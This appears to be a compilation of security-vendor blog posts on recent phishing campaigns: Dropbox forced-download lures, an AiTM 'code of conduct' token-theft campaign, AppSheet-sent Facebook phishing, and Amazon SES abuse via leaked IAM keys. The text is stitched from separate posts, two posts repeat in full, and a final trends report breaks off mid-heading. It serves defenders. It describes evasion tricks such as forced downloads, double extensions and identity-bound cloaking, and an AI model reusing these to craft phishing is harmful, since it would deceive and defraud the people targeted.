Victims span across the aviation, critical infrastructure, energy, logistics, public administration, and technology sectors.

The post Over 500 Organizations Hit in Years-Long Phishing Campaign appeared first on SecurityWeek.

Modern phishing campaigns are no longer trying to convince users. They are trying to outrun them. By forcing an automatic progression from click to download, attackers eliminate the moment of hesitation entirely by forcing files to download instantly using trusted cloud platforms like Dropbox and Google Drive.

Detecting when these legitimate SaaS auto-download features are being weaponized is an immense challenge for traditional defenses. This is exactly where Cortex^® Email Security steps in. By combining deep static analysis with advanced behavioral intelligence, the module can distinguish in this attack between a benign file share and a malicious, forced-momentum trigger.

This technical detection is vital because while the autodownload method is the primary cause of infection, its effectiveness relies on a clever strategy, using a wide range of changing social engineering lures. By alternating between lures like 'Invoices' or 'Quotes,' attackers rotate their themes to catch a wider variety of victims. This strategy allows attackers to convert trusted email links into rapid, dangerous file executions that effectively evade standard security measures.

How Forced Momentum Drives Auto-Downloads

The core of this attack leverages the infrastructure of real SaaS providers to eliminate the user's preview buffer. Typically, cloud sharing directs users to a webpage for file examination. In this campaign, however, forced-download parameters (such as ?dl=1 on Dropbox) are used instead. To ensure the victim executes the file once it lands on their machine, attackers hide the danger behind "visual anchors." By using double extensions like PDF and .EXE, the threat actor exploits default settings in certain operating systems that hide known extensions. The user's eyes stop at the familiar ".PDF" or ".ZIP," leading them to believe the file is a harmless document rather than a malicious executable.

When the targeted victim clicks the link in the email, it triggers an immediate file download in the browser, effectively bypassing any intermediary steps.

Attack Flow: From Email to Execution

• The Bait: A highly personalized email arrives, using a trusted cloud link (like Dropbox) to lower the victim's guard.
• The Trap: Clicking the link skips the usual "preview" screen and instantly drops a file onto the victim's computer.
• The Disguise: The file is cleverly named to look like a safe PDF or document, hiding its true identity as a harmful program.
• The Lock: In many cases, the attacker ensures only the intended victim can open the file, preventing security tools from scanning it first.
• The Takeover: Once the victim opens the file, the attacker gains remote access to the system.

The Library of Lures Strategy

To fuel the autodownload machine, attackers employ a flexible strategy by switching between various social engineering themes. This spear phishing campaign targets specific inboxes, such as "Orders," to exploit professional routines. Some common lures found in this campaign include:

• Financial Urgency – Fake "Invoices" or "Receipts" that induce anxiety. These often set close-day payment deadlines, pressuring recipients to click quickly.
• Business Operations – "Quote Requests" or "Purchase Orders" that exploit professional habits.
• Deceptive Naming – Concealing the download as a safe document, using display text like "invoice.pdf" in the email body to hide the underlying Dropbox URL.

Government Domain Impersonation

Attackers often leverage high-authority lures designed to paralyze a user's critical thinking. In one sophisticated wave, we observed threats impersonating a government entity by exploiting the high-reputation, official government domain. By borrowing the reputational authority associated with official infrastructure, the attacker successfully maneuvered an "Unidentified Payment Notice" past standard "Untrusted Sender" filters. To the recipient, the email carries the weight of a sanctioned document. Fearing legal or financial ramifications, they feel a heightened sense of urgency to click "View Invoice" to resolve the issue immediately.

Employee Impersonation

When government authority isn’t the angle, attackers shift to impersonating internal staff. In one case, the sender’s display name was spoofed to match a real employee in the target organization. Attackers rely on a “Momentum of Trust” tied to familiar names to overwhelm user judgment. Even when a generic Gmail address is used, users, especially those on mobile devices, rarely pause to check the underlying headers.

Internal Trust Amplification ("Human Relay")

The most effective aspect of this campaign occurs through Internal Laundering, where the threat shifts from external suspicion to a trusted internal message. This was observed when a Finance Department employee received a "Quote Analysis" file and, believing it to be a valid inquiry, mistakenly forwarded the link to the Procurement department.

At that stage, the attack no longer depended on deception, it propagated through trusted human workflows. These various tactics illustrate the sophistication and adaptability of phishing campaigns and highlight the importance of vigilance in email security.

How We Uncovered a Single Threat Actor

Although the lures appeared diverse, a deeper technical analysis revealed that they were all orchestrated by a single, coordinated threat actor.

By mapping the campaign, we uncovered a significant pattern: Each autodownload link pointed to a different file hash to evade signature detection, but all unique executables were ultimately associated with the same parent installer hash.

The file was identified as a specific Remote Monitoring and Management (RMM) executable, an administrative software used to manage computers remotely. Because RMM tools are legitimate, they often trigger fewer alerts than traditional Trojans. This allows the attacker to maintain persistent access under the guise of “authorized” system activity.

How Cortex Email Security Addresses the Threat

To defend against a campaign that emphasizes speed and rotation, behavioral analysis is essential.

The Cortex^® Email Security Module addresses this threat:

• Advanced URL Analysis – Detection of forced-download parameters, combined with delivery of high-risk files via URLs.
• Deep Metadata Correlation – Correlating sender identity with behavioral anomalies to flag threats that traditional scanners might overlook.
• LLM-Based Intent Analysis – Classifying phishing themes (invoice, payment, quote) despite variation.

The security engine triggers an alert by synthesizing LLM analysis with real-time email telemetry, global threat intelligence and behavioral signals.

Securing the Click

The combination of autodownload links and rotating lures is crafted to exploit user momentum and the "psychology of trust."

This campaign represents a shift from deception to acceleration. Attackers no longer need perfect lures, they only need to remove friction. Defenders must evolve accordingly, focusing not only on what a link is, but on what it forces a user to do.

Palo Alto Networks Cortex Advanced Email Security was built for this evolution. By moving beyond static file analysis to identify the behavioral "red flags" of autodownloads and forced-momentum URLs, we provide the visibility needed to stop these attacks before they reach the device.

The module examines email metadata, content, and behavior to uncover hidden malicious intent and sophisticated impersonation, including AI-crafted threats. By assigning precise risk scores to every detection, the system filters out the noise, allowing analysts to move past alert fatigue and focus on the most critical threats first.

Indicators of compromise discovered during this research are detailed on Unit 42’s GitHib instance.

FAQs

1. Why is the "Auto-Download" parameter so effective? It removes the "moment of doubt." By bypassing the preview page, the attacker forces the file onto the computer instantly, prompting the user to "Open" it out of habit.
2. How does the use of rotating lures benefit the attacker? It maximizes both psychological and technical success. People have different "blind spots" (e.g., finance professionals are likely to click on invoices), and variety increases the chances of finding a template that can bypass specific customers' security filters.
3. Why might a sandbox fail to catch the malicious file? Because the link was "Identity-Bound." To the scanner, the link appeared to lead to a harmless error page (cloaking), resulting in a false negative.

Cloaking involves showing different content to security scanners than what is presented to the victim. By using Identity-Bound access, the file only reveals itself to the intended target.

The post The Dangerous Momentum of Autodownload Phishing appeared first on Palo Alto Networks Blog.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

Researchers have uncovered a long-running phishing operation that abuses trusted Google services to hijack tens of thousands of Facebook accounts.

The compromised Facebook accounts are mainly business and advertiser profiles, which criminals can monetize after gaining access and control.

The attackers found a way to send phishing emails that come “through Google,” making them look legitimate at first glance. The emails are sent via Google’s AppSheet platform, so they pass the usual technical checks (SPF, DKIM, DMARC), and many email filters treat them as trusted.

Google AppSheet is a development platform that lets people build mobile and web apps without writing code. It can automate workflows and notifications, typically used to send app-driven alerts and internal updates.

And that’s where the phishers abused it. The sender name can be customized, and the sending address may look something like noreply@appsheet.com, delivered through appsheet.bounces.google.com. To the average user, it looks like a perfectly normal notification, in these cases often about Facebook policy violations, copyright complaints, or verification issues.

Researchers linked these emails to a Vietnamese‑linked operation that has already compromised around 30,000 Facebook accounts and is still active.

The stolen accounts are mostly pages and business profiles that have financial value: advertising accounts, brand pages, and companies that rely on Facebook for marketing. Once inside, attackers run scams, place fraudulent ads, or sell access to others. In some cases, the same group offers “account recovery” services to fix the problems they created.

Scam or legit? Scam Guard knows.

TRY IT NOW

No matter the lure, the goal is the same: Facebook credentials, 2FA codes, and recovery data. The phishing sites are just the entry point. Behind them is a fairly industrial infrastructure built around Telegram bots and channels to collect and process stolen data.

How to stay safe

This campaign is not “just another phishing mail.” It is one more example of how attackers exploit the trust we place in major platforms.

Facebook does not send complaints, verification requests, security checks, job offers, and other urgent messages through Google infrastructure.

• Any email that claims your Facebook or Instagram account is about to be disabled, locked, or punished deserves extra scrutiny, especially if it demands action within 24 hours.
• If you get a worrying message about your account, go directly to facebook.com or the Facebook app. Don’t click links in the message.
• If a form asks for password, multiple 2FA codes, date of birthm phone number, and ID photos in one go, then stop. That’s the “full recovery pack” these attackers need to take over your account.
• Set up 2FA for Facebook and set up login alerts for new devices and locations.
• Be cautious with unusual messages from Facebook accounts. The account itself may be compromised.

Pro tip: Malwarebytes Scam Guard can help you spot phishing emails and messages on any platform. You can even use it in Claude and ChatGPT.

Someone’s watching your accounts. Make sure it’s us.

PROTECT YOUR IDENTITY

Researchers have uncovered a long-running phishing operation that abuses trusted Google services to hijack tens of thousands of Facebook accounts.

The compromised Facebook accounts are mainly business and advertiser profiles, which criminals can monetize after gaining access and control.

The attackers found a way to send phishing emails that come “through Google,” making them look legitimate at first glance. The emails are sent via Google’s AppSheet platform, so they pass the usual technical checks (SPF, DKIM, DMARC), and many email filters treat them as trusted.

Google AppSheet is a development platform that lets people build mobile and web apps without writing code. It can automate workflows and notifications, typically used to send app-driven alerts and internal updates.

And that’s where the phishers abused it. The sender name can be customized, and the sending address may look something like noreply@appsheet.com, delivered through appsheet.bounces.google.com. To the average user, it looks like a perfectly normal notification, in these cases often about Facebook policy violations, copyright complaints, or verification issues.

Researchers linked these emails to a Vietnamese‑linked operation that has already compromised around 30,000 Facebook accounts and is still active.

The stolen accounts are mostly pages and business profiles that have financial value: advertising accounts, brand pages, and companies that rely on Facebook for marketing. Once inside, attackers run scams, place fraudulent ads, or sell access to others. In some cases, the same group offers “account recovery” services to fix the problems they created.

Scam or legit? Scam Guard knows.

TRY IT NOW

No matter the lure, the goal is the same: Facebook credentials, 2FA codes, and recovery data. The phishing sites are just the entry point. Behind them is a fairly industrial infrastructure built around Telegram bots and channels to collect and process stolen data.

How to stay safe

This campaign is not “just another phishing mail.” It is one more example of how attackers exploit the trust we place in major platforms.

Facebook does not send complaints, verification requests, security checks, job offers, and other urgent messages through Google infrastructure.

• Any email that claims your Facebook or Instagram account is about to be disabled, locked, or punished deserves extra scrutiny, especially if it demands action within 24 hours.
• If you get a worrying message about your account, go directly to facebook.com or the Facebook app. Don’t click links in the message.
• If a form asks for password, multiple 2FA codes, date of birthm phone number, and ID photos in one go, then stop. That’s the “full recovery pack” these attackers need to take over your account.
• Set up 2FA for Facebook and set up login alerts for new devices and locations.
• Be cautious with unusual messages from Facebook accounts. The account itself may be compromised.

Pro tip: Malwarebytes Scam Guard can help you spot phishing emails and messages on any platform. You can even use it in Claude and ChatGPT.

Someone’s watching your accounts. Make sure it’s us.

PROTECT YOUR IDENTITY

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

Phishing email imitating a Docusign notification

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

Phishing email headers

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Phishing email with a “document”

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

Phishing sign-in form

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

BEC email featuring a fake conversation between an employee and a vendor

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Forged financial documents

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

Phishing email imitating a Docusign notification

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

Phishing email headers

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Phishing email with a “document”

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

Phishing sign-in form

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

BEC email featuring a fake conversation between an employee and a vendor

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Forged financial documents

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

